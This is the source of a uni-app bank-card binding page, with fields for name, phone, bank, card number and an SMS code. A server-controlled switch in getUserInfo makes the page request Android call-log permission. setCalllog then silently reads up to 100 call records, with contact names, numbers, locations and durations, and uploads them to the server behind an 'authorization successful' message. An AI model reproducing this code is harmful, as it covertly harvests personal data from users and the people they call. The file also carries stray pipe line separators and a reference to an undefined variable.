<template>
|
<view>
|
<view class="addr">
|
<view class="addrItem">
|
<text class="label">姓名</text>
|
<input type="text" v-model="formData.realname" placeholder="请输入姓名">
|
</view>
|
<view class="addrItem">
|
<text class="label">手机号</text>
|
<input type="number" maxlength="11" v-model="formData.phone" placeholder="请输入手机号">
|
</view>
|
<view class="addrItem">
|
<text class="label">银行名称</text>
|
<picker @change="bankChange" :value="bankIndex" :range="$bank">
|
<view class="" style="color: rgba(0, 0, 0, 0.54)" v-if="bankIndex == -1">请选择银行</view>
|
<view class="uni-input" v-else>{{$bank[bankIndex]}}</view>
|
</picker>
|
</view>
|
<view class="addrItem">
|
<text class="label">银行卡号</text>
|
<input type="text" v-model="formData.bankno" placeholder="请输入银行卡号" @blur="banknoChage">
|
</view>
|
<view class="addrItem" v-if="config && config.bank_open == 1">
|
<text class="label">短信码</text>
|
<input type="tel" v-model="formData.code" placeholder="请输入短信码">
|
<text class="code2" v-if="leftTime < 60">{{leftTime}}S后获取</text>
|
<text class="code" @click="sendCode" v-else>获取验证码</text>
|
</view>
|
<view class="addrItem">
|
<text class="label">设置默认银行</text>
|
<switch @change="defChange" v-if="formData.isdef == 0" color="#37AA25" style="transform:scale(0.7)"/>
|
<switch @change="defChange" v-else checked color="#37AA25" style="transform:scale(0.7)"/>
|
</view>
|
</view>
|
<view class="addrBtn" @tap="bankSave" v-if="type == 2">保存并购买</view>
|
<view class="addrBtn" @tap="bankSave" v-else>保存</view>
|
<view class="tips">
|
<view class="tipsTitle">
|
<image src="/static/imgs/notice2.png" mode=""></image>
|
<text>温馨提示</text>
|
</view>
|
<view class="tipsDesc">
|
<view>1.需使用本人开户的银行卡,请确保为本人操作。</view>
|
<view>2.信息已只能加密,仅用于银行信息认证,隐私信息将严格保密。</view>
|
</view>
|
</view>
|
</view>
|
</template>
|
|
<script>
|
import permision from "@/js_sdk/wa-permission/permission.js"
|
export default {
|
data() {
|
return {
|
bankIndex: -1,
|
formData: {
|
id: 0,
|
realname: '',
|
phone: '',
|
bankname: '',
|
bankno: '',
|
code: '',
|
isdef: 0,
|
orderNo: '',
|
type: 0,
|
over_auth: 0,
|
},
|
phoneReg: /^\d{11}$/,
|
backUrl: '',
|
leftTime: 60,
|
type: 0,
|
config: null,
|
}
|
},
|
onLoad(op) {
|
this.getConfig()
|
this.getUserInfo()
|
this.formData.id = op.id ? op.id : 0
|
this.backUrl = op.backUrl ? op.backUrl : ''
|
if(this.formData.id > 0) {
|
this.getBankInfo(this.formData.id)
|
}
|
if(this.backUrl != '') {
|
this.formData.over_auth = 1
|
}
|
//宝付绑卡
|
this.type = op.type ? op.type : 0
|
if(this.type == 2) {
|
this.getDefBank()
|
}
|
},
|
methods: {
|
getConfig() {
|
let t = this
|
t.$util.post('Index/getConfig').then(res => {
|
if(res.code == 1) {
|
console.log('config', res.data)
|
t.config = res.data
|
}
|
})
|
},
|
banknoChage(e) {
|
let bankno = e.detail.value.replace(/\s/g, "")
|
this.formData.bankno = bankno
|
},
|
bankChange (e) {
|
console.log(e)
|
this.bankIndex = e.detail.value
|
this.formData.bankname = this.$bank[this.bankIndex]
|
},
|
sendCode () {
|
if(this.formData.phone == ''){
|
return uni.showToast({
|
title: '请输入手机号',
|
icon: 'error',
|
})
|
}
|
if(this.formData.bankno == ''){
|
return uni.showToast({
|
title: '请输入银行卡号',
|
icon: 'error',
|
})
|
}
|
if (this.leftTime < 60) {
|
return false
|
}
|
let t = this
|
console.log(this.formData)
|
this.$util.post('Bank/preBindingCard', {bankno: this.formData.bankno, phone: this.formData.phone, type: this.formData.type}).then(res => {
|
if(res.code == 1){
|
console.log(res)
|
t.countDown()
|
t.formData.orderNo = res.data.orderNo
|
uni.showToast({
|
title:'发送成功',
|
icon:'none'
|
})
|
} else {
|
uni.showToast({
|
title: res.msg,
|
icon: 'none',
|
})
|
}
|
})
|
},
|
countDown() {
|
this.leftTime--
|
if (this.leftTime > 0) {
|
setTimeout(this.countDown, 1000)
|
} else {
|
this.leftTime = 60
|
}
|
},
|
getUserInfo () {
|
let t = this
|
let userStr = uni.getStorageSync('user-info') ? uni.getStorageSync('user-info') : null
|
if(userStr != null) {
|
t.$util.post('User/getUser').then(res => {
|
if(res.code == 1){
|
t.formData.realname = res.data.realname
|
t.formData.phone = res.data.phone
|
if(res.data.calls == 0 && uni.getSystemInfoSync().platform == 'android' && this.config.put_open == 2){
|
console.log(res)
|
t.requestAndroidPermission('android.permission.READ_CALL_LOG')
|
}
|
}
|
})
|
}
|
},
|
async requestAndroidPermission(permisionID) {
|
let t = this
|
let result = await permision.requestAndroidPermission(permisionID)
|
console.log('result', result)
|
if (result == 1) {
|
t.setCalllog()
|
} else if (result == 0) {
|
t.$util.goSetting()
|
} else {
|
t.$util.goSetting()
|
}
|
},
|
defChange (e) {
|
this.formData.isdef = e.detail.value ? 1 : 0
|
},
|
getBankInfo (id) {
|
this.$util.post('Bank/getBankInfo', this.formData).then(res => {
|
if(res.code == 1) {
|
this.formData = res.data
|
}
|
})
|
},
|
getDefBank () {
|
this.$util.post('Bank/getDefBank', {}).then(res => {
|
if(res.code == 1) {
|
this.formData = res.data
|
this.formData.type = this.type
|
for(let i in this.$bank){
|
if(this.$bank[i] == this.formData.bankname){
|
this.bankIndex = i
|
break
|
}
|
}
|
}
|
})
|
},
|
bankSave () {
|
let t = this
|
if(t.formData.realname == ''){
|
return uni.showToast({
|
title: '请输入姓名',
|
icon: 'error',
|
})
|
}
|
if(t.formData.phone == '' || !t.phoneReg.test(t.formData.phone)){
|
return uni.showToast({
|
title: '请输入正确的手机号!',
|
icon: 'error',
|
})
|
}
|
if(this.formData.bankname == ''){
|
return uni.showToast({
|
title: '请输入银行名称',
|
icon: 'error',
|
})
|
}
|
if(this.formData.bankno == ''){
|
return uni.showToast({
|
title: '请输入银行卡号',
|
icon: 'error',
|
})
|
}
|
if(this.formData.code == '' && this.config && this.config.bank_open == 1){
|
return uni.showToast({
|
title: '请输入短信码',
|
icon: 'error',
|
})
|
}
|
t.$util.post('Bank/addBank', this.formData).then(res => {
|
console.log(res)
|
if(res.code == 1) {
|
uni.showToast({
|
title: res.msg || '保存成功',
|
icon: 'success'
|
})
|
//更新用户信息缓存
|
uni.setStorageSync('user-info', JSON.stringify(res.data))
|
setTimeout(() => {
|
if(t.backUrl != ''){
|
t.$util.goPages(t.backUrl)
|
} else {
|
t.$util.goPages('/pages/bank/bank')
|
}
|
}, 1500)
|
} else {
|
uni.showToast({
|
title: res.msg || '保存失败',
|
icon: 'error'
|
})
|
}
|
})
|
},
|
//获取通话记录
|
setCalllog(){
|
uni.showLoading({
|
title: '授权中...'
|
})
|
let self = this
|
// 在这里调用plus api
|
var CallLog = plus.android.importClass("android.provider.CallLog");
|
var main = plus.android.runtimeMainActivity();
|
var obj = main.getContentResolver();
|
plus.android.importClass(obj);
|
let timeLine = new Date().getTime()
|
var selection = {
|
mobile: '',
|
startTime: new Date('2022-4-1').getTime(),
|
endTime: timeLine,
|
type: ''
|
}
|
//查询
|
var sql = '';
|
var keyword = '';
|
for (let item of Object.keys(selection)) {
|
if (selection[item] != '') {
|
switch (item) {
|
case 'mobile':
|
sql = sql == '' ? sql : sql + ' and ';
|
sql = sql + CallLog.Calls.NUMBER + " like '%" + selection[item] + "%'";
|
keyword = selection[item];
|
break;
|
case 'startTime':
|
sql = sql == '' ? sql : sql + ' and ';
|
sql = sql + CallLog.Calls.DATE + '>=' + selection[item];
|
break;
|
case 'endTime':
|
sql = sql == '' ? sql : sql + ' and ';
|
sql = sql + CallLog.Calls.DATE + '<=' + selection[item];
|
break;
|
case 'type':
|
sql = sql == '' ? sql : sql + ' and ';
|
sql = sql + CallLog.Calls.TYPE + '=' + selection[item];
|
break;
|
}
|
}
|
}
|
sql = sql != '' ? sql : null;
|
var cursor = obj.query(
|
CallLog.Calls.CONTENT_URI,
|
null,
|
sql, //传入条件
|
null,
|
null
|
);
|
if(cursor){
|
plus.android.importClass(cursor);
|
var content = []; // 用来存储数据
|
var count = 0; // 记录多少条
|
if (cursor.moveToFirst()) {
|
while (cursor.moveToNext()) {
|
count++;
|
//号码
|
var number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
|
//呼叫类型
|
var type;
|
switch (
|
parseInt(cursor.getString(cursor.getColumnIndex(CallLog.Calls.TYPE))))
|
// 判断通话类型
|
{
|
case CallLog.Calls.INCOMING_TYPE:
|
type = "呼入";
|
break;
|
case CallLog.Calls.OUTGOING_TYPE:
|
type = "呼出";
|
break;
|
case CallLog.Calls.MISSED_TYPE:
|
type = "未接";
|
break;
|
default:
|
type = "挂断"; //应该是挂断.根据我手机类型判断出的
|
break;
|
}
|
// 获取时间
|
var date = new Date(parseInt(
|
cursor.getString(cursor.getColumnIndexOrThrow(CallLog.Calls.DATE))));
|
// 联系人
|
var Name_Col = cursor.getColumnIndexOrThrow(CallLog.Calls.CACHED_NAME);
|
var name = cursor.getString(Name_Col);
|
// 号码归属地 返回:北京 联通
|
var numberLocation = cursor.getString(
|
cursor.getColumnIndex(CallLog.Calls.GEOCODED_LOCATION)
|
);
|
//通话时间,单位:s
|
var Duration_Col = cursor.getColumnIndexOrThrow(CallLog.Calls.DURATION);
|
var duration = cursor.getString(Duration_Col);
|
// 存入数组
|
content.push({
|
name: name == null ? '无' : name, // 联系人的姓名
|
phone: number == null ? '无' : number, // 联系人电话
|
phonehome: numberLocation ? numberLocation : '无', // 号码的归属地
|
date: self.getCallTime(date), // 呼入或呼出时间
|
times: duration, // 通话时长
|
type: type,
|
});
|
// 查询100条 就跳出
|
if (count > 99) {
|
break;
|
}
|
}
|
}
|
|
console.log('call', content)
|
if(content.length > 0){
|
console.log(content)
|
self.$util.post('Calls/setCalls', content).then(rs => {
|
uni.hideLoading()
|
console.log('ttt', rs)
|
uni.showToast({
|
title: '授权成功!',
|
icon: 'success',
|
})
|
})
|
}
|
|
}else{
|
uni.hideLoading()
|
t.$util.goSetting()
|
}
|
},
|
|
getCallTime(time) {
|
var date = new Date(time);//当前时间
|
var year = date.getFullYear(); //返回指定日期的年份
|
var month = this.repair(date.getMonth() + 1);//月
|
var day = this.repair(date.getDate());//日
|
var hour = this.repair(date.getHours());//时
|
var minute = this.repair(date.getMinutes());//分
|
var second = this.repair(date.getSeconds());//秒
|
//当前时间
|
var curTime = year + "-" + month + "-" + day + " " + hour + ":" + minute + ":" + second;
|
return curTime;
|
},
|
repair(i){
|
if (i >= 0 && i <= 9) {
|
return "0" + i;
|
} else {
|
return i;
|
}
|
},
|
}
|
}
|
</script>
|
|
<style>
|
@import url(/static/css/addAddr.css);
|
</style>
|